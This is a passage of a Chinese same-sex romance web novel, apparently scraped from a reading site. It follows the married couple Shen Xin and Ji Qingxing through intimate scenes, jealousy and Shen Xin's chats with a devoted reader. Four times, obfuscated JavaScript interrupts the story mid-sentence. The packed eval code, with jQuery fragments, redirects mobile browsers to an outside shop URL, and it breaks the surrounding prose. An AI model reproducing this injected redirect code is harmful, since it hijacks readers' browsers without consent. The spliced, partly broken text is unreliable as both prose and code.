纪轻行察觉到了,再次停下来。 “放轻松,又不会吃了你。”说完一顿,“不过从另一种意义上说,也是吃。” 晕头转向的沈昕本就脸红,这下更红。 纪轻行感慨道:“别说,你还真是怪可爱的。没办法,我费费劲吧,手把手教导也是你老公我的职责。” 轻轻一握。 沈昕倒吸一口炙气,再次别开视线。 纪轻行用带着命令的口吻说:“看着我,别害羞,我是你老公啊,有什么好害羞的。” 沈昕:………… 他听话了。 他直视纪轻行,袒露全部的自己。 以至于终于平静下来的时候,他突然很想哭。 他好像意识到了什么。 …… 好半天过去,沈昕依然躬身埋头趴在池边。 纪轻行莫名其妙。 “怎么了啊?又害羞?刚才不是好好的?不舒服吗?弄疼你了?” 纪轻行想挖出沈昕的脸看表情,沈昕却用胳膊把自己护得死死的。 纪轻行一时无措,好言好语地商量:“到底怎么了?刚才咱俩挺和谐的啊,突然来这么一下,给我整不会了。我这儿还等着呢,一直这么等着很不容易的,昕昕,我想要你,你说句话,你……” 沈昕猛地抖了下肩膀,接着开始吸鼻子。 ……哭了? 纪轻行懵了,忙道:“好好好,我不要我不要,你别哭,有话好好说,我也没有故意欺负你啊是不是?万事好商量,你别这样啊!” 话音落,沈昕的肩膀抖得更厉害了。 纪轻行彻底没法,只能又说了句“有需要你叫我”就退开到一边。 默默平复。 沈昕也默默平复。 - 当晚,沈昕首先睡上大床,纪轻行知情识趣,自行睡了外间沙发。 沈昕想叫他过来睡床,又觉得刚耍了他一回大的,再叫他来未免显得故作姿态。 但他不是故意的。 当时事情发展的速度太快,起伏太大,远远超出了预期。 他之所以突然失态掉链子,其实是因为在接受了纪轻行全程的帮助之后,他猛地发觉,他也许、大概、好像、可能…… 喜欢纪轻行。 在这些日子的相处中,不知不觉地,喜欢了,纪轻行。 那一瞬间,无数细微而复杂的念头冲进脑海—— 首先,他不确定他是不是真地喜欢纪轻行。 其次,纪轻行心里有别人,而且把他俩的婚姻当作生意,也就是说,纪轻行肯定不喜欢他。 所以,如果他真地喜欢了纪轻行,这件事情的性质就全变了。 所以他选择了停止,在薛定谔的状态下,他和纪轻行不能稀里糊涂地继续亲密。 他更加想不通,这一切为什么偏偏发生在这个节骨眼上呢? 他就像是在过去的二十几年里被老天爷忽略了,一直过得非常平顺,直到最近,老天爷突然想起了他,便迫不及待地把以前忘了设置的困难一气儿补全。 妈妈去世以后他再没哭过。 今天却哭了两次。 都是因为纪轻行。 - 沈昕躺在床上,艰难地复盘在温泉时的内心。 最后他想,眼下最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329817|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要的,除了弄清楚自己到底是不是真地喜欢纪轻行,还要弄清楚纪轻行和他心里的那个别人究竟是怎么回事。 几乎又是一夜无眠。 第二天早晨,沈昕起床的时候特别做了下心理准备:经过昨晚,再见纪轻行,两人多少会有些尴尬吧。 这时纪轻行从外间沙发上坐起来,起身去浴室。 沈昕在里间说:“昨晚对不起。” 纪轻行站住,并没有回头。 沈昕继续说:“昨天我喝的有点儿多,不是很清醒,一时冲动就……总之对不起。” 纪轻行没说话。 片刻后轻佻地笑了一声,说:“谁不是冲动呢。” 沈昕垂下头。 这话的意思他懂。 浴室里。 纪轻行站在镜子前,打开水龙头又关上,连洗漱都提不起劲。 他看着镜中的自己,左右扭头,抬起下巴,来回地、仔细地看。 很差劲吗?不至于吧。 但事实证明,现在的他真地很差劲。 尤其想到昨天那个花钱打赏无比开心,恨不得向全世界宣告快乐的自己,就越发觉得,他很差劲,非常差劲,极其差劲,差劲到…… 活像个傻币。 - 来酒店过周末的家庭活动结束,生活恢复常态,纪轻行似乎忘了那天晚上的意外,除了工作更忙、骚话少了,总的来说跟先前没什么不同。 沈昕则全心全意地投入到创作中。 早上起来先看一会儿书,然后写稿,尽量多写,晚饭后修改当天的稿子,睡觉前发布,非常规律。 持续整天高强度动脑,他的睡眠质量本就一般,何况现在身边又多了个纪轻行。 即便戴着眼罩耳机,甚至把头蒙进被子里,还是很容易就醒来,时而觉得烦躁,但也多亏如此,他有了额外的收获—— 有一回,他调整眼罩位置的时候,从空隙里看到纪轻行正捧着手机发笑。 不是看到搞笑段子的那种笑,而是被触动到了的会心一笑,看着手机的眼神专注、忘我、热情,就像看着…… 自己喜欢的人。 沈昕瞬间清醒。 纪轻行这家伙该不会是在跟他心里的那个别人聊天吧?! 有了怀疑,沈昕开始求证。 每晚偷偷观察,果然纪轻行雷打不动,天天深夜捧着手机看、笑、打字,打一会儿停一停,想一想再打,打一打还删一删。 绝对不是工作。 工作中的纪总绝不可能这么小心谨慎翻来覆去地措辞,表情更仿佛吃了大餐、享了极乐般餍足。 一定是他心里的那个别人。 一定是。 15.试探 怕自己太草率,沈昕决定进一步试探一下。 晚饭饭桌上,他冷不丁地问:“纪轻行,你以前谈过恋爱吗?” 纪轻行发懵,莫名其妙地看着他:“问这干嘛?” “不干嘛,突然好奇,你不想说就算了。”沈昕以退为进。 纪轻行顿了顿,评价道:“神经兮兮的。” 沈昕便搬出早已想好的借口:“是因为我今天看了个视频,说有钱人都乱得很,私生活非常肮脏,尤其一些挺有名的老总,看着人模人样,其实禽兽不如……” “咳。”纪轻行蹙眉,“什么视频,给我看看。” 当然没有这种视频。 沈昕不吭声,纪轻行就开始发散思维了:“视频里不会点我的名字了吧?” 沈昕仍然不吭声。 纪轻行更加发散思维,以为沈昕真地听信了胡说八道。 连忙解释:“你在家没事儿就多看时尚杂志,少看营销号短视频,别人怎么样我不好说,但我自己堂堂正正清清白白,在你之前别说谈恋爱了,暧昧都没有过。” “那……约呢?”沈昕小小声地问。 纪轻行顿时一脸厌弃:“我嫌脏。喂,你怎么能问我这种问题?这是对我极大的不尊重你知道吗?你要跟我道歉。还怀疑我私生活肮脏,真正肮脏的是你的心吧。” “对不起,我道歉,但这不是我的心肮脏,是短视频刻意引导,而且我在国外的时候,也知道的确有不少人都……”话题歪了,沈昕想办法往回拉,“按理来说追你的人应该很多。” 纪轻行表情一顿,接着自信地笑了:“当然。怎么,深刻认识到你老公我的帅和魅力,有危机感了?” 他故态复萌,沈昕无奈:“我只是想说你很有钱,很多人为了钱对你趋之若鹜,并不在意你本身如何。” “又嘴硬。”纪轻行淡淡地说着,手里捏着小勺缓缓搅汤,“不管出于什么原因吧,追我的人确实多,男的女的大的小的,但这跟我有什么关系呢?我把他们都当空气。” 沈昕顺势道:“那你就没有喜欢的人吗?” 纪轻行再一顿。 为了试探准确,沈昕扩大范围:“包括以前,一直以来,都没有对哪个人产生过好感吗?” 纪轻行搅汤的手停下来,眯眼道:“你究竟在调查什么?” 他很聪明。 做惯了生意,察觉套话是基础技能。 一时间,沈昕不知该如何应对。 好在这毕竟不是生意场,纪轻行对他没什么戒心,又或者是觉得这种事说了也无所谓,便懒散道:“也不能说……没有吧。” 沈昕:! 证实了。 纪轻行心里的确有别人,领证那天听到的,这些日子看到的,都是真的。 晚上洗澡的时候,沈昕默默分析:既然心里有别人,自信如纪轻行,为什么不去追呢? 是因为客观条件限制,比如对方已经结婚? 但纪轻行是个臭不要脸,大概率并没有这种道德底线。 还是因为纪轻行是铁打的商人思维,必须通过婚姻获取利益,那个别人做不到这一点? 可他家的酒店难道就这么重要?明明纪轻行和他爸爸谈判的时候不急不缓的。 都说不通。 那么,就只剩下最后一个最简单,也最合理的原因。 那个别人,并不喜欢纪轻行。 无论如何也不喜欢。 纪轻行只能单恋。 “能聊聊天就是最大的幸福。” 最简单,最合理,也…… 最虐。 眼高于顶叱咤风云的纪总也有搞不定的人和事。 又偏偏是最意难平的那种。 小说家的共情能力很强,何况沈昕自觉自己是有点儿喜欢纪轻行的,这时不免心情复杂,酸涩齐发—— 他喜欢纪轻行,而纪轻行喜欢别人,无果的喜欢,却一直无怨无悔地喜欢。 他对纪轻行的喜欢便也成了无果的喜欢。 他和纪轻行已经结婚了,相当于他在产生喜欢这种心情之前就先走到了胜利的终点,可胜利的果实是假的,他们的婚姻只是生意。 纪轻行对那个人却有着世俗法律与道德都无法限制的感情,他在深夜里沉醉,只是一点点甜头就能回味许久。 沈昕很不舒服。 不是怨恨纪轻行或嫉妒那个人,只是单纯地因为陷入了这样的纠结情绪而不舒服。 亦为他自己和纪轻行感到悲哀。 一切都搞清楚了,接下来该怎么办呢? 现实生活中没有关系好到能聊这种话题的朋友,思来想去,只能继续找“沉老师的狗”。 他打开阅读软件的私人聊天板,缓缓地铺垫—— [谢谢你最近的评论,无论长评短评都特别好,你完全可以去当专业评论家!有你这样的读者是我最大的幸福。] 没有立刻收到回复。 等待期间,沈昕散漫地收拾书房,不由地想,自己的工作性质真好。 一个多小时后。 “沉老师的狗”:[不好意思老师,刚才有点忙。] 沈昕:[没关系没关系,是我打扰你了。] [老师言重了。工作连轴转,每天睡前看老师的书、写评论,可以说是一天里唯一的轻松时刻。评论还能得到老师的认可,对我来说也是最大的幸福。] 沈昕便问:[你不喜欢你的工作吗?] [谈不上喜不喜欢,就是擅长,也能从中获得巨大的价值感,但肯定不是热爱。这一点就非常羡慕老师,能将热爱作为职业。] 沈昕在心里点头说确实。 接着,“沉老师的狗”又说:[如果我也能像老师这样,哪怕其他所有方面都要妥协也可以。] 沈昕一怔。 这话递得恰到好处,让他能很自然地,以一种玩笑的方式引入自己真正想问的问题—— [所有方面?冒昧一问,感情上妥协也可以吗?] [当然可以。] 秒回。 这也太爽快了。 沈昕鼓了鼓腮帮子,小心翼翼地敲字:[那容我再冒昧一问,记得之前你提过你有丈夫,你们之间……] [相亲结婚,已经算是妥协了。] [……哦。] [怎么了?老师的省略号很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347564|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵性。] [就是意外。因为从你的评论当中,我能感觉到你是一个内心细腻,懂感情、懂情绪,理解人心,甚至是充满了理想主义的人,我觉得这样的人应该不太会在感情上妥协。] [老师说的没错,但没办法,书里的世界和现实世界终归是不同的,我把灵魂留在了那里,现实中就只好现实一点。] 沈昕又一怔。 片刻后,屏幕上又跳出来一段: [话都说到这个地步了,我能不能也冒昧问问老师的个人情况?希望老师不要生气,不想回答就不回答。] 沈昕认真地考虑了一下。 他历来的原则是“只用作品说话”,“正常作品宣传之外不营销”、“离读者远一点”,所以从不透露现实信息。 但是现在,就像“沉老师的狗”说的,“话都说到这个地步了”。 最近他俩聊了很多,他受对方各种启发,他们已经跨越了作者和读者的关系,可以称得上是投机的网友,甚至是朋友。 如果还一味隐瞒,就显得不太真诚。 于是他概括地回道:[我目前正处于“即将陷入一段很被动的关系但已经打算回头”的阶段。] 又片刻后。 [好!就该这样!就该回头!老师您这么好,没有任何人值得您被动!老师您就跟写书谈恋爱吧,像我在评论里写的,老师最近的内容和文风都有挺明显的变化,那是一种非常新鲜的变化,我感觉您绝对能继续进步!而且是非常大的进步!前提大约就是第一不能分心,第二要适当放开自己的桎梏。] [个人浅见,一时大放厥词,老师别见怪。] 怎么会见怪呢? 明明说得非常好,好极了。 再一次令他醍醐灌顶。 他想通了。 一个人不可能占尽美事,他已经超级幸运地拥有了绝大多数人都没有的“毫无负担地践行理想”,那么,在家庭和感情上受挫也算是平衡。 写作对他来说的确非常非常重要,他要在这件事情上发挥出最大的能量,他愿意将一生献上,所以为什么现在又要走歪路,去跳那些边边角角的坑呢? 家里的事已经让他难以承受,再放任对纪轻行的感情,他很可能就该崩溃了。 既然不会有好结果,在感情未深之时抽身才是上策。 婚姻关系可以继续。 回到最初的决定。 就当是一种特别的人生体验和取材,“灵魂和现实各在一处”,他也能做到。 - 当晚纪轻行回到家,状态看起来不错,挺高兴的,不知道是不是发生了什么好事。 也许是“那个别人”令他开心了? 沈昕默默观察,等人洗完澡出来就跟上去,从身后轻轻拽住真丝睡袍收紧的腰带。 纪轻行诡异地回头:“干什么?” 沈昕鼓了鼓腮帮子,低头,再抬头,有些紧张地说:“那个……我准备好了。” 纪轻行一愣。 表情更加诡异,然后突然笑了。 一贯的流里流气的那种笑。 一贯的流里流气地拖长调子说:“那个……是哪个啊?” 16.爱情动作片 沈昕:…… 已经过了自己这关,现在还要过纪轻行这关。 关关难过,也只能硬着头皮关关过。 “就是上次在温泉,我突然停下的那个。”他小声地说。 以为这样就可以了,不料纪轻行还是好整以暇地问:“哪个?” 好烦。 为什么这么烦的人,他之前竟然还会有一点点喜欢? 是不是贱。 心里打起了退堂鼓,可现在退了下次还是要上,难堪尴尬没必要来第二遍,他攥了攥拳头,别开视线说:“做/爱。” 声音比刚才小,还有些含糊,但听在纪轻行耳里却是真真的、清清亮亮的。 他的表情一滞。 如此直白,有点儿不会接了。 但也只是一时。 纪轻行低声笑了,慢慢悠悠地捏起沈昕的下巴,轻轻一抬,戏谑道:“忍不住啦?想跟你老公我做/爱啊,没那么容易呢,你先回答我几个问题,我听听看满不满意,满意了再说。” 沈昕:………… 确定了,他就是贱。 强忍着没把纪轻行的爪子拨拉开,咬牙切齿道:“你问。” 纪轻行说:“第一,你老公我帅不帅?” 沈昕皱眉:“还行。” “不满意哦。” 沈昕用力皱眉:“帅,满意了吗?” “凑凑活活吧。” 纪轻行又幽幽地说:“第二个问题,你老公我大不大?” 沈昕:……………… 妈的,让他们家破产吧! 他简直要把牙咬碎,说:“不知道。” “不诚恳哦,那天明明感觉到了。” “还行,不小。” “沈少,请用陈述句。” “大,很大,非常大,比狗还大,满意了吗?” “哎,我认认真真问你,你居然敷衍我,我伤心了。我一伤心,可能就不能满足你的‘准备好了’呢。”纪轻行故作委屈。 又露出思索的神情,煞有其事自言自语道:“不过也得看是什么品种的狗吧。” “噗嗤”一下,沈昕转愤慨为破功,低头笑了。 而且一笑就忍不住。 笑得纪轻行直皱眉:“一会儿哭一会儿笑的,你这人究竟怎么回事?” 话音落,捏着沈昕下巴的手劲变大了,纪轻行的眼神也变的认真,说话不再玩笑调侃,而是带上了警告的意味—— “本来还想问你老公我硬不硬呢,算了,都是些你不说我就知道的小事,但我不知道的是,你怎么就‘准备好了’?因为什么?说说清楚。我被你糊弄好几次了,就算再考虑到你是我媳妇儿,容忍也有限度。今天不给我说清楚,你别想跟我上床。” 说得好像他很想跟他上床似的—— 沈昕默默腹诽。 接着指正道:“我不是你媳妇儿,是你丈夫。” “行行行,丈夫。”纪轻行倒无所谓,“丈夫大人,赶紧当堂从实招来,否则你老公我不饶你!” 好大一个神经病。 沈昕继续腹诽。 但他明白,这个问题才是纪轻行真正想问的。 实话实说显得太功利,又不好骗他,便概括道:“就是突然想清楚了,下定决心了。虽然说是突然,但我不会再改变了,所以请你放心。” 温泉那次他做得确实不地道,有必要给纪轻行吃颗定心丸。 纪轻行盯着他、审视他:“那你就先让我看看诚意?” “什么意思?” “亲我一下。” “亲哪儿?” “想亲哪儿就亲哪儿。” “我也没……” 差点儿说出真心话,沈昕连忙打住,改口道:“你想亲哪儿?你尽管提,我都可以满足你。” 纪轻行冷笑。 沈昕茫然,心想自己这话不是挺卑微的?怎么纪总还嘲讽上了。 接着,纪轻行随手一扯睡衣带子,深蓝色真丝睡衣向两侧打开,里面什么都没有。 沈昕猝不及防地脸红了。 接下来纪轻行的话令他更加脸红—— “亲这儿,可以满足吗?” 沈昕:…………………… 大话毕竟已经说了出去。 “你刚才说的是亲你一下对吧?就一下。” 沈昕一边确认,一边低头调整呼吸,刚做好天大的准备,正要后撤一步蹲下,纪轻行居然转身走了。 沈昕:? 他追上去:“喂!你……” “忙着呢,没空应付你。” 那刚才那么长时间那么来劲是在干什么? 沈昕莫名其妙,进一步确认:“那等你忙完……” 纪轻行停下脚步,眼神彻底冷了。 “沈少,现在是你们全家求着我,如果你想停下就停下,你想开始就开始,这情况是不是就弄反了?” 说完又走了,留下一个冷酷的背影。 沈昕愣愣地站在原地。 哎,他错了,他单看纪轻行平时吊儿郎当说话没谱满脑子黄色废料,就以为只要他想通这事就能顺顺利利地成。 其实纪轻行到底是纪轻行,是个站在顶端非常骄傲霸道,非常有脾气的人。 是个他非常不熟的人。 所以,他先前冒出来的那一点点喜欢也许根本就不是对真正的纪轻行的喜欢。 只是对他以为的那个纪轻行。 书房。 纪轻行沉着脸色坐在椅子上。 心想搞什么啊,和沈昕结婚不就是相互利用各取所需? 现在对方终于服软了,他应该高兴啊,应该开开心心地看着对方想尽办法讨好他、满足他,可事实上他为什么一点儿也开心不起来? 他还生气。 生什么气?为什么要生气? 是因为沈昕做得不够?不懂技巧不懂照顾情绪,还是因为沈昕…… 恰恰做得太够? 刚才他走得潇洒,实则心乱如麻,没多分辨,看到有门就逃避似地进来了。 进的是沈昕的书房。 如果没记错,今天是他第二次进来。 上次急急忙忙的,都没认真看,现在仔细一看,沈昕的私人物品不多…… 嗯? 桌面上放着个机械键盘。 一看就不是量产,而是根据个人需求与喜好专门定制的。 沈昕居然用机械键盘? 他说他不打游戏,为什么用这么专业的键盘? 仅仅是爱好吗? “咚咚咚——” 敲门声响。 还能是谁? 纪轻行气不打一处来,凉凉道:“自己家,不用敲门。” 两秒钟后,沈昕推开门探头,说:“我跟你不一样。” 纪轻行顿时火冒三丈:“你找我就是为了说这个?” “不是,我……不找你。”沈昕弱弱地说着,视线迅速扫向书桌,又迅速收回。 纪轻行发现了。 桌上除了机械键盘,还有个处于睡眠状态的笔记本电脑。 不找自己,却特意看电脑,他在害怕什么? 这时沈昕问:“你能出来吗?” 纪轻行蛮横道:“不能。” 沈昕吃瘪,想了想说:“那算了。” 缩回脑袋,把门重新关好。 纪轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361897|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行对着沈昕的电脑深深皱眉。 他产生了一个邪念,但最终克制住了。 不到万不得已的时候,先做个人吧。 - 出师不利,沈昕没打算放弃,总结经验教训,大概是不能太直接,先营造好氛围是关键。 接下来的几天,他都按纪轻行先前提出的,准备了虽不丰盛但很认真的晚餐。吃饭的时候,关心关心纪轻行工作忙不忙,晚上有什么安排。 纪轻行总是回答得很简略,一副不想多说的样子。 推进得不算太顺。 沈昕鼓了鼓腮帮子,决定再主动些。 “纪轻行,今晚如果你不忙的话,咱们一起看个电影怎么样?” 埋头吃饭的纪轻行抬眼道:“去电影院?” 沈昕摇摇头:“就在家看。” 纪轻行不动声色道:“看什么?爱情动作片?” ……又来了。 但也算主动出了成果。 沈昕说:“你想看爱情动作片也……可以。不过我没有资源,你有吗?” 纪轻行冷笑一声。 沈昕很郁闷。 这是怎么个意思嘛。 接着两人各自吃饭,没再说什么。 吃完以后,纪轻行从餐厅走去客厅,打开电视,一言不发地坐在了沙发上。 沈昕:…… 不是臭不要脸么?怎么改傲娇了? 沈昕回厨房,从冰箱里取了瓶果酒,考虑了一下,没有拿杯子,直接拎着瓶子出去,坐在纪轻行身边。 特意挪近。 两人胳膊腿相贴,纪轻行用余光瞥了沈昕一眼。 他拿着遥控器,在电视库里漫无目的地翻。 过了一会儿,沈昕确定他没有特别想看的,提议道:“看《美丽心灵》吧,我挺喜欢的,你看过吗?” 纪轻行的表情和动作停住了一瞬,说:“看过。” “哦,那要不然就……” “可以看。” 纪轻行在片库里搜索,打开,淡淡地开口,语气含着一丝质疑:“没想到你会喜欢看这个。” “什么意思?为什么说没想到?” 纪轻行又不说话了。 沈昕悻悻地鼓了鼓腮帮子,心里有点后悔。 其实应该选个以爱情为主题的片子,毕竟他别有用心,现在这个电影好是好,但对促成他俩的关系恐怕作用不大。 说起《美丽心灵》,这还是好几年前,他连载的小说正好有电影相关的内容,有读者在评论区发起讨论,收集大伙儿最喜欢的电影时“沉老师的狗”给出的答案。 他当时没看过,抽空看了看,果然非常不错,几乎也称得上是他的“最喜欢”。 电影开始了,他打开果酒喝了两口,顺手递到旁边。 纪轻行没接,古怪地看着他。 他就眯起眼睛笑,还晃了晃手里的瓶子,努力作出温和可爱的样子。 纪轻行的表情更古怪了,别开视线片刻,起身径直走掉。 沈昕一愣:“你干什么去?” “突然想起来有点事。” 头也不回地上了二楼。 沈昕默默叹息。 哎,示好、撒娇、诱惑这种事,他果然不擅长。 认真看电影吧。 收回心思,他很快就被情节吸引,看了进去。 不知过了多久,注意力突然中断,再一分辨,是……二楼浴室的……水声? 纪轻行刚刚说有事,他以为他去书房工作了。 实际上是去洗澡? 沈昕一头雾水,看了眼电影的进度条。 这也没过多久啊。 ……好怪。 17.偷听 沈昕莫名其妙了一会儿,继续看电影。 渐渐的,二楼浴室的水声变成了背景。 又过了一会儿,他后知后觉地发现纪轻行洗完了澡,但没有下楼来。 这时“沉老师的狗”发来消息,他暂停了电影,拿起手机看去—— [我突然觉得老师说的很对,也许我应该始终坚持本心,坚持理想主义,尤其是在感情方面。] 沈昕哭笑不得。 [我刚被你的理论说服,怎么你又……] [每个人情况不同,选适合自己的就好。] 也对。 比如现在,即便“沉老师的狗”倒向了他,但他不会再倒,不会改变与纪轻行既定的轨道。 他回复道:[那你现在想怎么做呢?] 突然一愣。 一个非常不妙的念头冒了出来。 “沉老师的狗”说和丈夫是相亲结婚,是妥协,现在又说想坚持理想主义,难不成…… 沈昕的汗冒了出来。 [喂!你不会是想离婚吧?别冲动啊,我随口说说,不能当真!] 绝不能因为他的几句话就破坏别人的婚姻! 然而对方没再回复。 沈昕忐忑起来,一边心想坏了坏了要不要再说点儿什么挽回一下,一边觉得“沉老师的狗”一向成熟,不至于这么草率,没回复可能只是有事。 这时楼梯上传来声响。 沈昕抬头一看,纪轻行下来了。 穿着真丝睡袍,头发湿漉漉的。 沈昕把手机放到一边。 “你忙完了?” 纪轻行不说话,坐到一旁的单人沙发上,定定地看着他。 沈昕茫然道:“你看我干什么?” 纪轻行还是不说话。 一脸严肃,眼里满是探寻。 沈昕干脆关了电影。 “纪轻行,你到底怎么了?有话你就说,你以前不是话很多吗?怎么现在……” “说了怕你受不了。” “啊?”沈昕一愣。 沟通困难,两人陷入沉默,渐渐的连时间流速都不分明了。 直到沈昕的手机突然捣乱,铃声响起。 他拿起来一看,稍一抉择,给纪轻行打了个手势,说:“我接个电话。” 起身小跑上二楼进书房。 习惯性地“啪”一声将门反锁。 纪轻行本来就皱的眉心顿时皱得更紧。 - “阿圆,你好,好久没联系了啊。”沈昕的声音带着笑意。 “你好呀沉老师,打扰你了吗?” “不打扰,我回国了。” “知道,你更新IP变了嘛,你刚一回国我就知道了,要不然也不会选这时候给你打电话,只是问问你现在方不方便。” “哦哦,没错,我傻了。我很方便,你说。” 阿圆是沈昕的编辑。 沈昕在写作之外的相关事务全是阿圆代为处理,他们虽然没见过面,但关系很好。 大多数时候,他们都是信息或邮件交流,打电话往往是有非常重要的事情,所以沈昕才将客厅的纪轻行暂时放下了。 电话那边,阿圆语气郑重,说:“我准备跳槽了,想跟你详细聊聊你的未来。” 沈昕一怔。 理论上,编辑离职,平台会给作者安排新编辑,阿圆却说要聊他的未来,这意思是…… “你等等,让我冷静一下。” 阿圆失笑:“好,你尽管冷静,我不着急。” 沈昕转身坐在椅子上,想了一会儿,又站起来来回踱步。 思考的时间不长,但他思考了很多,也意外地思考都很顺。 他重新坐下,从笔筒里捏了支笔出来转。 “电话里没法细聊,不如我们见一面吧?” 这下轮到阿圆怔了:“……什么?喂沉老师,我给你打电话之前精心准备了一大车道理,但还是担心没办法说服你跟我见面,结果!我的精心准备长篇大论完全用不上了啊!怎么回事?你是沉老师吗?不会换人了吧?” 沈昕只是笑。 阿圆却很认真:“不是,我很好奇,咱们合作五年了,以前我也没少劝你,你油盐不进啊,现在到底是怎么回事?” 沈昕道:“你还记得‘沉老师的狗吗?” “当然记得,你的狗嘛,榜一大哥。” “不要这样说,人家只是玩梗,而且我感觉他是女孩子,或者说大姐姐。” “嗯?你怎么感觉的?” “我最近跟他私聊了。” “嚯,为什么?” “为什么不重要,反正就是私聊了,聊着聊着有一些想法就变了。他真地很成熟,很有内涵。那天他说我一定还会有大进步,但前提是不能分心和适当放开自己的桎梏。我被他点醒了。” “嚯……早知道早让他劝你了。” “不是早晚的问题,或许也不是只因为这一个人,只能说是机缘吧。” 又聊了一会儿,约好见面的时间地点,沈昕挂了电话。 走到门口一拉门,正见纪轻行经过,一脸云淡风轻地往楼梯口走。 直觉告诉他不对。 “喂。” 纪轻行不理。 反正他又不叫喂。 沈昕蹙眉,提高声音道:“纪轻行。” 纪轻行慢悠悠地停下脚步转过身:“干嘛啊?” “你刚才……在偷听?” “哈?我闲的吗?我为什么要偷听你?我很爱你吗?以咱俩的关系,我需要偷听?我……” “你的话有点多。”沈昕直白地说,“就显得有点心虚。” 纪轻行一愣,接着露出不耐烦的神色,撂下一句“懒得理你”就走了。 走了几步又回过头:“好心告诉你,我暂时不会临幸你,你省省吧。” 沈昕迷惑道:“暂时?” 纪轻行又一愣,烦躁瞬间拉满:“怎么还学会抠字眼了?长本事了啊,你今天就非得让我教训教训你才满意是不是……” “嘭”—— 沈昕关门躲回了书房。 纪轻行:…… 纪轻行:………… 纪轻行:……………… 没错,在自己家,身为老公还要偷听。 还因为隔音太好什么都没听见。 的确是闲的。 书房里。 沈昕翻看手机,发现打电话的时候“沉老师的狗”给他回复了。 一共两条。 第一条是:[暂时不会离婚。] 三分钟后发了第二条:[确认了一下,还是有点儿舍不得。] 又勉强又……深情,怪可爱的。 沈昕笑了出来。 第二天午饭后,沈昕难得出门,去赴阿圆的约。 刚走没多远,纪轻行就打来了电话。 “今天下午我要和你爸再谈出资的详情,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14370100|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来吧。” 沈昕心说这也太巧了。 “今天下午我不行,你自己谈吧。” “你不行?为什么?” 他现在的人设是没工作,天天在家看时尚杂志,这个问题真地很难回答。 “我……约了人。” “约了人?”纪轻行的语气立刻不对了,“约了谁?” 沈昕想了一下,说:“高中同学。” “叫什么?干什么的?他白天不上班吗?”纪轻行不依不饶。 沈昕彻底无语。 他不说话,纪轻行倒没觉得是抓到了破绽,而是由此情此景联系到昨晚的电话,再联系到沈昕害怕他看他的电脑,觉得这家伙是不想说。 他更气了。 “沈少,我说,你在我不在家的时候不会没少约人吧?” 沈昕一听也生气了:“你什么意思?” “字面意思,否则我怎么随便一问就问住你了呢?这概率太小了吧?” “我也奇怪概率为什么这么小。” 僵持片刻,纪轻行说:“你把你这个同学推了,现在过来,我就当什么都没发生。” 一副非常大度的样子。 沈昕莫名其妙:“已经约好了,我又不是有天大的事情,为什么要推?” 纪轻行便重新气起来,阴阳怪气道:“什么时候约的呀?不会是昨天晚上吧?说起来你昨天晚上巴巴地让我跟你看电影,巴巴地想让我跟你嘴对嘴喝酒,巴巴地想让我睡你,怎么一扭脸就又跟别人……” “纪轻行你简直有病!” 平时胡说八道流里流气也就罢了,今天这话意有所指,太过分了,明明是他心里有别人,现在竟然贼喊捉贼! 话不投机,沈昕努力深呼吸,不想再费唇舌。 “你自己跟我爸谈吧,我去不了,而且我去了也没什么用。我开车呢,先不说了。” 挂了电话越想越气。 正好等红灯没事,他特别想干点儿什么,一气之下就把纪轻行的电话拉黑了。 和阿圆约在咖啡厅。 下车前,沈昕专门调整了情绪。 阿圆是他在事业上非常重要的人,第一次见面,理应拿出最好的状态。 工作日下午,咖啡厅人很少。 他按信息找过去,看到落地窗边,盆景遮挡的空隙里露出的男人侧影。 “阿圆?”他试探着称呼。 男人转过头来,一愣,接着眼前一亮:“沉老师?哇塞,终于见到你了,真人比证件照上帅太多了!” 沈昕开心起来,在他对面坐下:“证件照是这样的。” 阿圆摇摇头:“你的证件照已经很好看了,但见了真人我才知道,其实你不上相,你这个动态效果完全可以去当明星。” 